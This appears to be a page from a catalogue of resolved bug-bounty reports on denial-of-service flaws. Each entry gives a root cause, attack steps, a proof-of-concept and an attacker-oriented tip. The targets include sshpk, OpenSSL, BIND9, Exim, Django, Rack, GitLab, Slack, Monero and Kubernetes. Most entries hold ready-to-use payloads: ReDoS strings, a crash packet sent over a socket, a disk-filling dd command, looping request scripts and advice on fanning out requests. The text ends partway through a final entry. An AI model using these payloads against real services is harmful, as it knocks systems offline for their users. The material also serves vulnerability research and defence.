Specimen #319593 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface otherTag file-upload
Root cause
sshpk's SSH public-key regex /^([a-z0-9-]+)[ \t]+([a-zA-Z0-9+/]+[=]*)([\n \t]+([^\n]+))?$/ backtracks catastrophically on long runs of whitespace before a mismatch, so parsing a crafted 'public key' hangs Node.
Method
- Identify format/credential parsers (SSH keys, PEM, tokens) that regex-validate input.
- Insert a long run of the whitespace/class the group repeats over, then a char that forces mismatch.
- Call the parse function on the crafted string and observe the hang.
var keyPub = `ssh-rsa a${Array(200000).join(' ')}x\nx`;
var key = require('sshpk').parseKey(keyPub, 'ssh');
Insight — Widely-used parsing libs (sshpk had ~230M downloads/yr) are high-value ReDoS targets: a single crafted key string reaches the regex before any semantic validation. Look at ~200KB payloads to make the stall obvious, but shorter inputs already degrade.
Real-world example
Malicious-peer memory/CPU exhaustion in TLS stack (OpenSSL family)
◆ High
Specimen #216840 · ibb · awarded · 5 votes · resolved
Program ibbSurface networkTag file-upload
Root cause
OpenSSL allocated/retained memory sized or driven by attacker-controlled protocol fields before enforcing bounds: an oversized OCSP Status Request extension re-sent on each renegotiation grows server memory unboundedly (CVE-2016-6304); related flaws allocate the message buffer before the length check (CVE-2016-6307/6308) or null-deref on bad DHE params (CVE-2017-3730).
Method
- As a malicious client/server, inflate an attacker-controlled TLS field (extension size, message length header, DHE params).
- For growth bugs, loop renegotiation resending the oversized field to accumulate allocations.
- Drive the peer to memory exhaustion (OOM) or crash; default configs are affected even without OCSP enabled.
# Conceptual: TLS client repeatedly renegotiates, each ClientHello carrying an
# oversized OCSP status_request extension -> server memory grows without bound.
# (CVE-2016-6304). PoC via patched openssl s_client / crafted extension bytes.
Insight — Protocol libraries that allocate on attacker-controlled length fields BEFORE validating bounds, or retain per-renegotiation state, are memory-exhaustion DoS sinks. Check 'allocate then check' ordering and per-connection growth under renegotiation.
Real-world example
Missing field-length limit -> stored/second-order resource exhaustion
◆ High
Specimen #243003 · rubygems · none · 5 votes · resolved
Program rubygemsSurface webTag file-upload
Root cause
No upper bound on a stored user field (gem summary) means an attacker can persist a multi-megabyte value; later processing of it (gem search -d rendering all matches) consumes unbounded CPU/memory and hangs (CVE-2017-0900).
Method
- Find any stored field with no server-side length cap (profile bio, description, rule text, gem metadata).
- Store a huge value (e.g. 'foo'*10_000_000), ideally on an object others will fetch/search.
- Trigger the downstream feature that reads/renders it and observe the hang.
Gem::Specification.new do |spec|
spec.name = "huge-summary"
spec.version = "0.0.1"
spec.summary = "foo" * 10000000
spec.homepage= "http://example.com/"
spec.license = "MIT"
end
# gem build && gem push; victim: gem search -d <keyword> -> no response
Insight — Length validation is a security control: unbounded stored input becomes a second-order DoS at the read/search/render path. Name the malicious object with a popular keyword so victims hit it via normal search.
Real-world example
libsass/sassc NULL pointer dereference via crafted SCSS map expression
◆ High
Specimen #221287 · ibb · none · 5 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
Sass::Eval::operator()(Map*) dereferences a NULL when evaluating a crafted map/list expression (an interpolation containing an over-long number followed by a map literal), crashing the compiler.
Method
- Identify a service that compiles user-supplied SCSS/SASS (libsass/sassc)
- Submit an interpolation embedding a huge numeric literal and a map, e.g. #{(<300 nines> 0:0)}
- Compiler NULL-derefs in eval.cpp -> crash / DoS
@P#{(300000000000000000000000000000000000000000000000000000000000000000000000000 0:0)}
Insight — Any feature that compiles user-controlled stylesheet/template DSLs (SCSS, Less, Handlebars) runs a native parser/evaluator that can be crashed with malformed constructs. Feed oversized literals inside interpolations/maps to hit NULL derefs.
Real-world example
Decompression-bomb OOM in libxml2 via malicious LZMA-wrapped XML
◆ High
Specimen #270059 · ibb · none · 4 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
libxml2's xz/LZMA input path (xzlib.c) passes attacker-controlled compressed data to liblzma with no bound on the decompressed size; a tiny malformed .xz stream drives lzma_code to request enormous allocations, exhausting memory when xmllint/parsers auto-detect and decompress input.
Method
- Craft a tiny malicious LZMA/xz stream (13 bytes)
- Submit it to any service that feeds files to libxml2 with decompression enabled (xmllint, XML processors)
- Decompression requests multi-GB allocation -> OOM DoS
# 13-byte PoC (od -tx1):
30 ff ff ff ff ff ff ff ff ff ff ff ff
./xmllint --valid test000
# AddressSanitizer failed to allocate 0x100002000 bytes in lzma_code <- xz_decomp (xzlib.c:577)
Insight — Auto-decompression of input (gzip/xz/br) before parsing is an amplification sink: a few bytes can request unbounded memory. Whenever a parser transparently decompresses, test a tiny hostile compressed blob and watch RSS. Fix is a decompressed-size cap; as an attacker, magic-byte-prefix your payload to trigger the decompressor.
Real-world example
ReDoS via catastrophic backtracking in tech-fingerprint regex
◆ High
Specimen #888021 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface otherTag file-upload
Root cause
A library regex with nested quantifiers over an unbounded group (e.g. `(?:[^\/]+\.)*`) exhibits catastrophic backtracking; attacker-controlled input the regex is run against pins CPU indefinitely.
Method
- Find a regex applied to attacker-influenced input (here wappalyzer runs apps.json regexes over page HTML/script src)
- Craft input that maximizes ambiguous backtracking paths for the nested quantifier
- Feed it (a crafted <script src> tag on a page you control) and watch CPU spike to 100% / process hang
<script src='//c.c..j..c.c..j..c.c..j..c.c..j..c.c..j..c.c..j..c.c..j..c.c..j..jskhtlcnipmos.cdnjs.cdnjs.dnjs.cdnjs.cloudflar.jsjs.cloudf'></script>
Insight — Any regex with (X+)* / (?:[^y]+.)* style nesting fed attacker input is a ReDoS sink. Grep dependency source and package-lock for known-bad regex libs (ansi-regex<4.1.1, etc.) and test with a ; or . repeat string; use ReScue/recheck to auto-detect.
Real-world example
n-day DoS on exposed service (BIND9 TKEY, CVE-2015-5477)
◆ High
Specimen #237860 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface networkTag subdomain-takeover
Root cause
An internet-facing host ran an outdated BIND9 resolver on port 53; a single malformed TKEY query triggers a REQUIRE assertion failure and crashes named (remote unauthenticated DoS).
Method
- nmap the target, note tcp/udp 53 open
- Fingerprint BIND version / assume vulnerable
- Send the public CVE-2015-5477 TKEY packet to udp/53 to crash named
# elceef/tkeypoc CVE-2015-5477
payload = bytearray('4d5501000001000000000001034141410341414100 00f900ff034141410341414100000a00ff0000000000090841414141414141 41'.replace(' ','').decode('hex'))
sock.sendto(payload, (target, 53))
Insight — Recon methodology: enumerate exposed infra services (DNS, SMTP, etc.), fingerprint versions, and map to known assertion/resource CVEs. Exposed ancillary services (CI, mirrors) are in-scope DoS surface programs often forget.
Real-world example
Protocol state-machine confusion -> infinite loop (Exim BDAT)
◆ High
Specimen #296994 · ibb · none · 3 votes · resolved
Program ibbSurface networkTag webhook
Root cause
Exim does not reset the receive_getc function pointer after a BDAT (CHUNKING) chunk; a following BDAT makes receive_getc==lwr_receive_getc so bdat_getc loops on itself -> infinite loop / stack exhaustion, hanging the worker.
Method
- EHLO; MAIL FROM; RCPT TO
- Send BDAT with a single '.' line (should NOT terminate under CHUNKING)
- Issue a second MAIL/RCPT/BDAT 0 LAST -> receive_getc never reset -> infinite loop
EHLO localhost
MAIL FROM:<meh@some.domain>
RCPT TO:<meh@some.domain>
BDAT 100
.
MAIL FROM:<meh@some.domain>
RCPT TO:<meh@some.domain>
BDAT 0 LAST
Insight — When a protocol switches input source via function pointers / mode flags (BDAT vs DATA, chunked vs plain), test whether state is fully reset between messages. Mixing modes (DATA dot-stuffing rules under CHUNKING) is a rich source of hangs.
Real-world example
Remote ReDoS on network-facing request path/headers
◆ High
Specimen #320586 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface apiTag webhook
Root cause
A network-facing component runs a catastrophically-backtracking regex over an attacker-controlled request field (HTTP path, header value); a crafted value blocks the single-threaded event loop per request with no auth needed.
Method
- Locate a regex applied to a request-controlled string reachable without auth (proxy path, header normalization)
- Send a long crafted value that triggers super-linear backtracking
- Each request pins CPU / blocks the event loop for seconds
# node-foreman forward.js regex: /http:\/\/[^/]*:?[0-9]*(\/.*)$/
GET http://<'0' x 81000> HTTP/1.1
Host: localhost:9999
# undici Headers.append/set normalize regex, tab-flood variant:
headers.append('foo', 'a' + '\t'.repeat(50000) + '\ta'); // ~3s block
Insight — ReDoS is only high-impact when the vulnerable regex sits on a remotely-reachable, pre-auth code path (routers, proxies, header parsers). Grep network-facing code for regexes with nested/adjacent quantifiers ((a+)+, .*x.*, \S+@\S+) applied to unbounded input.
Real-world example
DNS response amplification of record count -> resolver crash
◆ High
Specimen #1033107 · nodejs · awarded · 2 votes · resolved
Program nodejsSurface apiChain attacker-controlled hostname resolution -> oversized DNS Tag webhook
Root cause
Node's DNS resolution (via c-ares) mishandles responses with a very large number of records (>1300 A records); resolving such a name yields no result / crashes, so if an app resolves an attacker-influenced hostname it becomes a remote DoS (CVE-2020-8277).
Method
- Set up (or find) a domain whose A query returns >1300 records
- Get the target app to dns.resolve/lookup that hostname (SSRF-style URL fetch, webhook, avatar import)
- Resolution fails/crashes -> DoS
var dns = require('dns');
dns.resolve4('attacker-domain-with-1300+-records', (err, addrs) => { /* hangs / no output / crash */ });
Insight — Any feature that resolves a user-supplied hostname (URL preview, webhook, image import, SSRF filters) can be turned into a DoS by pointing it at a domain crafted with an abusive DNS response (huge record set). Combine with SSRF-style URL params.
Real-world example
Unchecked length in P2P binary deserializer -> exabyte allocation
◆ High
Specimen #506498 · monero · none · 2 votes · resolved
Program moneroSurface networkTag webhook
Root cause
epee::serialization::portable_storage::load_from_binary reserves memory from an attacker-declared count field before validating it; a 20-byte crafted payload triggers a ~4 exabyte reserve -> monerod crash. load_from_binary is reachable remotely via the P2P levin protocol.
Method
- Craft a small portable_storage binary blob whose element-count/length field is enormous
- Deliver it to a load_from_binary call (levin_abstract_invoke2.h P2P code path)
- reserve() attempts a massive allocation -> crash
unsigned char payload[] = {0x01,0x11,0x01,0x01,0x01,0x01,0x02,0x01,0x01,0x08,0x00,0x84,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
epee::serialization::portable_storage ps; ps.load_from_binary(std::string(payload,payload+20));
Insight — Same primitive as ASN.1 memory-exhaustion but in a crypto P2P stack: a container length/count read from the wire and passed to reserve()/resize()/malloc() before bounds-checking against actual bytes. Audit deserializers for reserve()/resize() sized by untrusted counts.
Real-world example
DoS via __proto__ JSON key confusing bignumber.js (json-bigint, CVE-2020-8237)
◆ High
Specimen #916430 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface apiChain __proto__ JSON key -> polluted bignumber internals ->
Root cause
json-bigint parses object keys with plain assignment, so a JSON key of __proto__ pollutes the constructed object's prototype and injects attacker-chosen internal fields (e.g. a huge length / exponent) into the resulting bignumber, so any later toString or arithmetic hangs indefinitely on a ~70-byte input.
Method
- Send untrusted JSON to a service that parses it with json-bigint.
- Include __proto__ keys that seed oversized internal fields (large length / 1e200 exponent) into the parsed number/object.
- The parse itself returns, but the first r.toString() / arithmetic on the value hangs, tying up the event loop -> DoS.
const JSONbig = require('json-bigint');
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}';
const r = JSONbig.parse(json);
console.log(r.toString()); // hangs
Insight — Prototype pollution is not only about auth bypass: a polluted __proto__ that feeds oversized numeric internals into a downstream math/string library becomes a tiny (~70 byte) amplification DoS. When auditing JSON/deserialization libraries, test __proto__ keys and check whether the resulting object is later stringified or used arithmetically. The DoS surfaces on use, not on parse, so it slips past parse-time validation.
Real-world example
Oversized reflected filename -> site-wide client DoS
◆ Medium
Specimen #764434 · security · awarded · 475 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
No length limit on the profile-picture filename; the multi-MB filename is stored and then reflected in GraphQL responses on every page that lists the user, so those responses become huge and crash/timeout browsers.
Method
- Upload a profile picture, intercept the upload request
- Prepend a ~3MB junk string to the filename (e.g. <payload>abcd.png)
- Load any page that renders the profile (profile, participants, thanks, program pages) and observe timeouts/browser crash
- Amplify by getting many such profiles onto one page (participants list, top-hackers)
filename="<3MB of AAAA...>abcd.png" (submitted in the profile-picture upload multipart/GraphQL request)
Insight — When user-controlled fields are (a) unbounded and (b) reflected in aggregate views, a single oversized value becomes a stored/amplified client-side DoS. Look for any field echoed into list endpoints (/participants, /thanks) via GraphQL/JSON.
Real-world example
Missing server-side length limit on GraphQL field -> server OOM/500
◆ Medium
Specimen #887321 · security · 2500 · 209 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The CreateStructuredScope GraphQL mutation validated instruction length only on :create in the UI path, so scripted requests with multi-MB instruction values were processed unbounded, driving the backend to 500/502/504.
Method
- Add a scope asset via POST /graphql (operation CreateStructuredScope)
- Set the 'instruction' variable to a very large multi-MB string
- Loop the request (multiple workers) until 500/502/504 disruption is observed
mutation CreateStructuredScope(... $instruction: String ...) { createStructuredScope(input:{... instruction:$instruction ...}) { was_successful } }
// variables.instruction = (huge repeated unicode string, ~10x concatenated ~500KB blocks)
Insight — Length validation must live on the model/server, not only in the UI/on-create path. Any GraphQL/JSON free-text field without a maximum is a server-side resource-exhaustion sink; fuzz field sizes and watch for 5xx.
Real-world example
Node disk exhaustion by writing to container /etc/hosts (CVE-2020-8557)
◆ Medium
Specimen #867699 · kubernetes · 1000 · 161 votes · resolved
Program kubernetesSurface cloud
Root cause
Kubernetes mounts /etc/hosts, /etc/hostname, /etc/resolv.conf as writable files backed by the node's ephemeral storage, but writes to them are not counted against the pod's ephemeral-storage limit, so a pod can fill the node disk.
Method
- Run a normal pod in the cluster
- Inside the pod, write unbounded data to /etc/hosts (dd if=/dev/zero)
- On the node, watch /var/lib/kubelet free space drop until the disk is full and the node is affected
kubectl exec -it $POD -- dd if=/dev/zero of=/etc/hosts count=1000000 bs=10M
Insight — Resource quotas that don't cover every writable path are bypassable. On shared/multi-tenant infra, look for writable mounts (config files, tmpfs, emptyDir) not accounted for by the tenant's limits -> node-level disk/memory DoS.
Real-world example
Client-side render DoS via Mermaid diagram in markdown
◆ Medium
Specimen #470067 · gitlab · 3000 · 145 votes · resolved
Program gitlabSurface web
Root cause
Markdown that renders Mermaid diagrams client-side accepts diagram source that is expensive to render, so a crafted diagram in a comment freezes the browser of everyone who opens the page.
Method
- Open an issue that allows markdown comments
- Paste a crafted Mermaid diagram payload as a comment and submit
- Every viewer's browser freezes when the issue page renders the diagram
```mermaid
<crafted graph with pathological node/edge count>
```
Insight — Any client-side renderer for user content (Mermaid, KaTeX, syntax highlighters, markdown-it plugins) is a stored client DoS surface. Test heavy inputs; impact multiplies because all viewers render it.
Real-world example
Client-side length limit not enforced server-side (Moments) -> 500 + app crash
◆ Medium
Specimen #819088 · x · awarded · 141 votes · resolved
Program xSurface webChain UI limit bypass -> server 500 -> stored/shared mobile-
Root cause
Moments title/description are limited to 60/250 chars only in the UI; the create/edit API accepts far larger values, causing a 500 on the backend and heavy load / crashes when the oversized Moment is rendered in the mobile app.
Method
- Intercept the create-a-moment request (empty title/description)
- Fill title or description with a large payload (~200KB for client DoS, ~2MB triggers 500 before 413 kicks in)
- Share the Moment link; opening it crashes/hangs the mobile app for recipients
{"title":"<~200,001 chars>","description":"","is_production_only":true}
Insight — UI maxlength is not a control. Re-send create/edit requests with oversized field values; server 500 = missing server validation, and if the value is later rendered on mobile it becomes a shareable client DoS.
Real-world example
Special-char filename throws storage exception -> 500 everywhere reflected
◆ Medium
Specimen #713407 · security · awarded · 111 votes · resolved
Program securitySurface webTag file-upload
Root cause
Setting the profile-picture filename to whitespace/control characters (+, %20, %0d%0a) makes Rails ActiveStorage throw when generating the URL, so every page that reflects the avatar returns a 500 -> application-wide DoS.
Method
- Upload a profile picture and intercept the request
- Change the filename to '+', '%20' or '%0d%0a'
- Reload any page showing the avatar (profile, thanks, hacktivity, directory) and observe 500s everywhere
filename="+" (also "%20", "%0d%0a") in the avatar upload request
Insight — Filenames/identifiers that flow into storage-URL generation can throw on unusual characters; if that value is rendered widely, one bad upload is a site-wide 500 DoS. Fuzz filenames with spaces, +, CRLF, unicode.
Real-world example
DOM clobbering document methods via link/HTML injection -> app crash
◆ Medium
Specimen #1077136 · slack · 1500 · 109 votes · resolved
Program slackSurface webChain HTML injection -> DOM clobbering -> app crash (mobile:
Root cause
HTML injection in a post hyperlink lets an attacker create elements whose name attribute matches document methods (write, querySelector, append, ...); the named element clobbers document.<method>, so when the app calls that method it invokes an HTMLCollection and crashes.
Method
- Create a Post and add a link, intercept the request
- Replace the link value with markup that breaks out and injects many <img name='<docMethod>'> elements
- Share the post; opening the channel/DM crashes the desktop and mobile Slack app
https://xyz.com\"><img src=x name='write' /><img src=x name='querySelector' /><img src=x name='getElementById' /><img src=x name='append' /> ...(one per document method)...
Insight — If user HTML reaches the DOM, DOM clobbering the document/window methods the app relies on is a reliable client crash (and, with <iframe>, phishing). Test named-element injection against apps that heavily use document.* helpers.
Real-world example
ReDoS in Django urlize() via repeated '.;' (CVE-2024-41990)
◆ Medium
Specimen #2795558 · ibb · 2162 · 83 votes · resolved
Program ibbSurface other
Root cause
django.utils.html.urlize() has a slow pattern that becomes exponentially slower on input like '.;' repeated many times; if attacker text is passed to urlize (POST field or stored then rendered), it causes CPU-exhaustion DoS.
Method
- Find a surface where user text is passed through urlize/the |urlize filter (comments, bios, stored content)
- Submit input consisting of '.;' repeated tens of thousands of times
- Rendering time grows superlinearly -> request/worker CPU exhaustion
".;" * 200000 (submitted anywhere that reaches django.utils.html.urlize)
Insight — Framework text helpers (urlize, autolink, sanitizers) are recurring ReDoS sinks. Probe rich-text/URL-detection paths with pathological repeated punctuation and measure time-vs-length; superlinear growth = ReDoS DoS.
Real-world example
Exceptions in Node TLS pskCallback/ALPNCallback bypass error handling (CVE-2026-21637)
◆ Medium
Specimen #3473882 · nodejs · none · 81 votes · resolved
Program nodejsSurface other
Root cause
Synchronous exceptions thrown inside Node.js TLS pskCallback/ALPNCallback during the handshake bypass the normal tlsClientError/error paths, causing either immediate process termination or silent file-descriptor leaks; since the callbacks process attacker-controlled handshake input, a remote client triggers it repeatedly.
Method
- Target a Node TLS server that uses pskCallback or ALPNCallback
- Send handshake input that makes the callback throw synchronously
- Observe either process crash or leaked file descriptors that accumulate until resource exhaustion
Repeated TLS handshakes with PSK identity / ALPN protocol values crafted to make the server's pskCallback/ALPNCallback throw.
Insight — User-supplied-input callbacks invoked outside the framework's try/catch are crash/FD-leak DoS vectors. When reviewing servers, find callbacks run during connection setup (TLS/ALPN/SNI/PSK) and check whether a thrown exception is safely wrapped.
Real-world example
Out-of-range pagination number -> infinite markup-generating loop
◆ Medium
Specimen #1916400 · flickr · 479 · 74 votes · resolved
Program flickrSurface web
Root cause
On paginated forum-thread pages, supplying a page number larger than the number of available pages drives internal pagination logic into an infinite loop that generates markup on each pass, consuming server resources.
Method
- Find a paginated endpoint that takes a page number in the URL
- Request a page number far beyond the available page count
- The pagination logic loops indefinitely generating page links/markup -> high resource use
GET /forum/thread/<id>?page=99999999
Insight — Pagination that computes 'next/last page' links without bounding to the real page count can loop forever on an over-large page value. Test page/offset params with values beyond the dataset size and watch for runaway CPU/latency.
Real-world example
Memory amplification via importer parsing (1MB -> 250MB) -> OOM GitLab
◆ Medium
Specimen #2499070 · gitlab · 2300 · 64 votes · resolved
Program gitlabSurface webChain malicious import source -> object explosion -> Puma OOTag webhook
Root cause
GitLab's GitHub importer uses Octokit/Sawyer, which expands each API response into ~10 nested Ruby objects; parsing a 1MB attacker-controlled response allocates ~250MB, and a few concurrent imports OOM-kill the Puma master, taking web services down for ~2 minutes.
Method
- Stand up a malicious GitHub (or GHES) endpoint the importer will call
- Import a project so GitLab fetches repo/PR/notes data via Octokit
- Return large (~1MB) responses; Sawyer expands each to ~250MB
- Trigger several concurrent parses -> Puma OOM-killed -> GitLab web down
Malicious GitHub API responses (~1MB each) returned to GitLab's importer; parsed into Sawyer::Resource objects with ~250x memory amplification.
Insight — Import/integration features that parse remote, attacker-controlled data with object-heavy deserializers are memory-amplification DoS vectors. Estimate parsed-object footprint vs input size; a high multiplier + concurrency = OOM of the whole app server.
Real-world example
ReDoS in HTTP Accept header parsing
◆ Medium
Specimen #2584376 · ibb · USD 2642 · 55 votes · resolved
Program ibbSurface web
Root cause
Rack::Request::Helpers used a regex with catastrophic backtracking to parse Accept-Encoding/Accept-Language; a crafted header value makes parsing take exponential time (CVE-2024-39316, fix missed on 3.1 branch until 3.1.5).
Method
- Target Rack >3.0.0 up to 3.1.4
- Send a crafted Accept-Encoding or Accept-Language header triggering backtracking
- Server CPU spikes / request hangs
- Repeat for unauthenticated DoS
GET / HTTP/1.1
Host: TARGET
Accept-Encoding: <long crafted value triggering regex backtracking>
Insight — Header-parsing regexes are prime ReDoS targets. When a fix lands, check every release branch (here the 3.0 fix was never ported to 3.1). Fuzz Accept-* with repeated tokens/separators and watch response time.
Real-world example
Polynomial-time markdown DoS via cmark-gfm autolink (CVE-2022-39209)
◆ Medium
Specimen #1619604 · github · 4000 · 54 votes · resolved
Program githubSurface api
Root cause
The autolink extension in cmark-gfm (GitHub's CommonMark fork) has polynomial (super-linear) time complexity on crafted input, so a single unauthenticated markdown-render request exhausts CPU.
Method
- Find an unauthenticated markdown-render endpoint (e.g. /markdown API)
- Submit input that maximizes autolink backtracking
- Server CPU spikes / request hangs
python3 -c 'print(")
#  = invalid unicode char, ) = ')'
# HackerOne variant (#1138668) that yields 502 on rendered html fields:
[[[[[[[[[[[[[[[[][l]][l]][l]][l]][l]`][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]
[l]:ht0tp%3A%2F%2FdwqNo%0A+fg
Insight — Markdown is a durable DoS surface: an exception (not just slowness) in the renderer becomes persistent when the content is re-rendered on shared/list views or via GraphQL *_html fields. Fuzz link/reference syntax with entities, invalid codepoints, and deep bracket nesting; watch for 5xx that then sticks on aggregate pages.
Real-world example
Memory exhaustion in Django floatformat via huge scientific exponent (CVE-2024-41989)
◆ Medium
Specimen #2644244 · ibb · 2142 · 49 votes · resolved
Program ibbSurface web
Root cause
Django's floatformat template filter converts a numeric string with a large scientific-notation exponent (contains 'e') internally to an integer/Decimal, materializing an enormous number and consuming huge memory.
Method
- Find a view where user input reaches the floatformat filter
- Supply a string like '1e1000000000'
- Server memory balloons on render
{{ user_value|floatformat:1 }}
# with user_value = "1e1000000000" (big exponent in scientific notation)
Insight — Numeric formatting/parsing that accepts scientific notation can be forced to expand a tiny string ('1eN') into an N-digit number. Audit float/decimal/number filters and BigDecimal-style conversions for exponent-driven blowup wherever user data reaches them.
Real-world example
User-controlled loop bound drives iteration to UINT64_MAX (Monero RPC)
◆ Medium
Specimen #2338094 · monero · none · 48 votes · resolved
Program moneroSurface api
Root cause
The get_fee_estimate JSON-RPC endpoint accepts a uint64 grace_blocks that (on hard-fork >=15) feeds get_dynamic_base_fee_estimate_2021_scaling, whose loop can run up to 2^64-1 iterations, pinning the RPC threads so the node stops responding.
Method
- Find an open Monero daemon RPC (Censys: services.port=18081 ... services=monero)
- Confirm hard_fork_info version >= 15
- Send a few async get_fee_estimate requests with grace_blocks = 18446744073709551615
- RPC port stops responding; not even logged
{"jsonrpc":"2.0","id":"0","method":"get_fee_estimate","params":{"grace_blocks":18446744073709551615}}
# fire ~500 async requests; RPC (2 threads) saturates and times out
Insight — Grep for loops whose iteration count comes directly from a request parameter without an upper clamp. A single large integer param can be a full CPU-DoS; async fan-out of a handful of requests suffices when the service runs few worker threads.
Real-world example
Unbounded multipart parts -> fd/memory exhaustion (Django CVE-2023-24580)
◆ Medium
Specimen #1904097 · ibb · 2400 · 47 votes · resolved
Program ibbSurface webTag file-upload
Root cause
Django's multipart parser processed an unlimited number of empty/file parts; each file part opened a new temporary file kept open for the whole request, so a single crafted multipart body exhausts open file descriptors and memory (and on OOM-kill leaves temp files, exhausting disk/inodes).
Method
- Target any POST endpoint (any form / any POST) that parses multipart bodies
- Send one request whose multipart body contains a huge number of (empty) file parts
- Server hits max open files / OOM
POST /any-endpoint HTTP/1.1
Content-Type: multipart/form-data; boundary=X
--X\r\nContent-Disposition: form-data; name="f"; filename="a"\r\n\r\n\r\n(repeat this file-part tens of thousands of times)
# fix: DATA_UPLOAD_MAX_NUMBER_FILES cap
Insight — Body parsers that allocate a resource per part (temp file, buffer, object) with no count cap are DoS sinks; the number of *parts*, not total body size, is the unbounded axis. This was a coordinated cross-vendor disclosure - the same 'unbounded parts' vector affects many frameworks.
Real-world example
Unbounded input field length hangs server (Nextcloud calendar CVE-2023-45150)
◆ Medium
Specimen #2058337 · nextcloud · awarded · 46 votes · resolved
Program nextcloudSurface web
Root cause
The calendar share-by-email endpoint imposes no length limit on the email-address field, and server-side processing time grows with input length, so a multi-megabyte 'email address' makes the server take seconds-to-minutes per request -> DoS.
Method
- As a low-priv user, create a calendar and choose 'share via email'
- Intercept the request and replace the recipient with a very long string (e.g. 50MB)
- Response time grows roughly with length; larger payload = longer hang
POST .../apps/calendar/... share via email
email = <50 MB string> # ~600ms baseline -> ~10,000ms at 50MB, scales with length
Insight — Any server-processed text field without a max-length is a resource sink when downstream handling is super-linear. Systematically fuzz free-text fields (email, name, description) with megabyte payloads and chart response-time vs input-size for a clean DoS signal.
Real-world example
Application-layer DoS via expensive endpoint + amplification
◆ Medium
Specimen #125587 · security · awarded · 44 votes · resolved
Program securitySurface webChain zero-value bounty allowed + replayable bulk POST -> infla
Root cause
A public JSON endpoint (report .json) scales O(n) with the number of activities on the object and has no per-endpoint rate limiting, so (a) a handful of parallel requests saturate backend workers and (b) an attacker can pre-inflate a report with cheap activities so the endpoint exceeds the 30s CDN timeout and becomes permanently unloadable.
Method
- Identify a heavy, unauthenticated/low-cost endpoint whose response time grows with object state (here: /reports/<id>.json vs activity count)
- Optionally amplify: add many cheap activities (e.g. 1000 near-zero bounties via replayable bulk POST) so the endpoint always exceeds the CDN/proxy timeout
- Fire ~10 parallel requests to paralyze the site; ~14k requests/day sustains it
for((x=0;x<10;x++)); do ( curl https://TARGET/reports/NNNNNN.json & ); done
# amplifier: replay POST /reports/bulk to add ~1000 tiny (0.001) bounty activities -> endpoint response time crosses 30s CDN cutoff
Insight — App-layer DoS beats volumetric DoS when an endpoint is expensive per request. Look for responses whose cost grows with accumulated state (activities, comments, versions) and lack rate limits; combine with a cheap state-inflation primitive (replayable POST, no min-value validation) for a persistent, low-bandwidth takedown.
Real-world example
Server hang via malformed unicode string over game RemoteEvent
◆ Medium
Specimen #679907 · roblox · awarded · 44 votes · resolved
Program robloxSurface other
Root cause
A client-invokable RemoteEvent (SayMessageRequest) processes an untrusted large malformed-unicode string server-side with super-linear cost, so a client script can freeze the authoritative game server for all players.
Method
- In the game client, obtain the exposed RemoteEvent (DefaultChatSystemChatEvents.SayMessageRequest)
- Repeatedly FireServer with a large repeated malformed-unicode string
- Server hangs (players can't move)
local malformed = string.rep("\xe0\xb8\x81\xe0\xb9\x87\xe0\xb9\x87\xe0\xb9\x87\xe2\x96\x8c\xe2\x96\x93", math.random(10000, 2e5))
local remote = game:GetService('ReplicatedStorage').DefaultChatSystemChatEvents:WaitForChild('SayMessageRequest')
while wait() do remote:FireServer(malformed, malformed) end
Insight — Client->server RPCs / RemoteEvents in game and real-time backends are trust boundaries: any string handler (chat, names) that does costly unicode normalization/rendering on huge repeated combining characters can hang the shared server. Test exposed remotes with oversized malformed-unicode blobs.
Real-world example
Hash-collision algorithmic-complexity DoS in markdown reference table
◆ Medium
Specimen #1341957 · reddit · awarded · 44 votes · resolved
Program redditSurface web
Root cause
Reddit's snudown markdown parser stores link references in a hash table using a weak hash (case-insensitive SDBM) with per-bucket linked lists, and also allows duplicate keys; an attacker generates many entries that map to one bucket (or one duplicated key), turning O(1) lookups into O(N) and driving quadratic parse time.
Method
- Bug1: generate strings with distinct hashes but identical (hash % T) so all land in one bucket; define+use them to force long list traversal
- Bug2 (simpler): pick two strings s',s'' with hash(s')!=hash(s'') but same (hash%T); define s' once then s'' N times (duplicates allowed) and reference the first
- Parse time grows super-linearly with N -> CPU DoS. Bug3 (equality by hash value only) lets you confirm SDBM non-disruptively
[s1]: /url
[s1]
[s2]: /url
[s1]
... (each si chosen so (SDBM(si) % T) == (SDBM(s1) % T)) ...
[sN]: /url
[s1]
# confirm SDBM in prod via Bug3: colliding names return the first bucket entry's URL, e.g. 37qpypz and uvhisfu both hash to 7150400
Insight — Hash tables built on non-cryptographic hashes (SDBM/DJB/FNV) over attacker-controlled keys are hash-flooding targets. Look for reference/anchor/id tables in parsers; even without full collisions, duplicate-key acceptance alone enables a linked-list-length attack. Key-equality-by-hash-only is a tell the structure is weak.
Real-world example
ReDoS in Rails Action Dispatch query-parameter filtering (CVE-2024-41128)
◆ Medium
Specimen #2872502 · ibb · awarded · 44 votes · resolved
Program ibbSurface web
Root cause
The query-parameter filtering routines in Rails Action Dispatch use a regex that backtracks catastrophically on crafted query strings, so a single request can pin CPU (Ruby < 3.2, Rails < 8.0.0.beta1).
Method
- Send a request with a crafted query string designed to maximize backtracking in the param-filtering regex
- Request handling time spikes
# crafted query parameters that trigger catastrophic backtracking in Action Dispatch
# param filtering (see CVE-2024-41128 / rails patch). Ruby 3.2+ mitigations neutralize it.
Insight — Framework request-processing internals (param filtering, logging redaction, routing) run a regex on every request - a ReDoS there is unauthenticated and universal. Note runtime-level mitigations: Ruby 3.2's regex timeout defused this class, so version matters for exploitability.
Real-world example
Image/asset proxy DoS: reverse-slowloris + unbounded chunked responses
◆ Medium
Specimen #507525 · chaturbate · 400 · 41 votes · resolved
Program chaturbateSurface webChain asset proxy -> reverse-slowloris/unbounded fetch -> se
Root cause
